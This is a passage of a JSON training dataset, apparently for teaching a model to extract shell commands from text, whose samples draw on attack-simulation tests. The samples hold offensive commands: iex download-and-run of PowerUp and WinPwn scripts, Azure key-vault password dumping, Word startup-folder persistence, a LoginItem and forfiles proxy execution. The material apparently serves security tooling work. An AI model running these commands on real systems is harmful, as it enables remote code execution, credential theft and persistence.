https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    After successful execution, this test will output the names, locations, and contents of key vaults in an Azure account to a file using the following command:\nimport-module \"PathToAtomicsFolder\\..\\ExternalPayloads\\Get-AzurePasswords.ps1\"\n$Password = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Password\nConnect-AzureRmAccount -Credential $Credential\nGet-AzurePasswords -subscription '#{subscription_id}' > #{output_file}\ncat #{output_file}\n",
    "output": "{\"command_list\": [\"import-module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\Get-AzurePasswords.ps1\\\"\\n$Password = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Password\\nConnect-AzureRmAccount -Credential $Credential\\nGet-AzurePasswords -subscription '#{subscription_id}' > #{output_file}\\ncat #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For recursive deletion of a folder without confirmation prompts, use the command: rmdir /s /q #{folder_to_delete}",
    "output": "{\"command_list\": [\"rmdir /s /q #{folder_to_delete}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a named pipe for inter-process communication, use the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 2",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 2\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating an auto-starting Word Add-in file (WLL) that executes notepad as a PoC, run this command. The technique was validated on 32-bit Office 2016 but unsuccessful in Microsoft 365 environments:\n$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"        \n}\nelse{\n  Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"",
    "output": "{\"command_list\": [\"$wdApp = New-Object -COMObject \\\"Word.Application\\\"\\nif(-not $wdApp.path.contains(\\\"Program Files (x86)\\\"))  \\n{\\n  Write-Host \\\"64-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x64.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"        \\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x86.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"\\n}\\nStop-Process -Name \\\"WinWord\\\" \\nStart-Process \\\"WinWord\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process involves running osascript on a file to create a LoginItem, which you can do with the command: osascript #{scriptfile}\nThis will generate file modification events in the backgroundtaskmanagementagent directory and require user approval for System Events control.",
    "output": "{\"command_list\": [\"osascript #{scriptfile}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For checking the current password policy settings on CentOS/RHEL 6.x, use the command sequence: cat /etc/pam.d/system-auth\ncat /etc/security/pwquality.conf",
    "output": "{\"command_list\": [\"cat /etc/pam.d/system-auth\\ncat /etc/security/pwquality.conf\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For gathering domain information, run the WinPwn script via the command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ngeneraldomaininfo -noninteractive -consoleoutput",
    "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ngeneraldomaininfo -noninteractive -consoleoutput\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using forfiles.exe to execute commands, you can run the following command to open calc.exe for each notepad.exe found in c:\\windows\\system32: forfiles /p c:\\windows\\system32 /m notepad.exe /c #{process}",
    "output": "{\"command_list\": [\"forfiles /p c:\\\\windows\\\\system32 /m notepad.exe /c #{process}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... 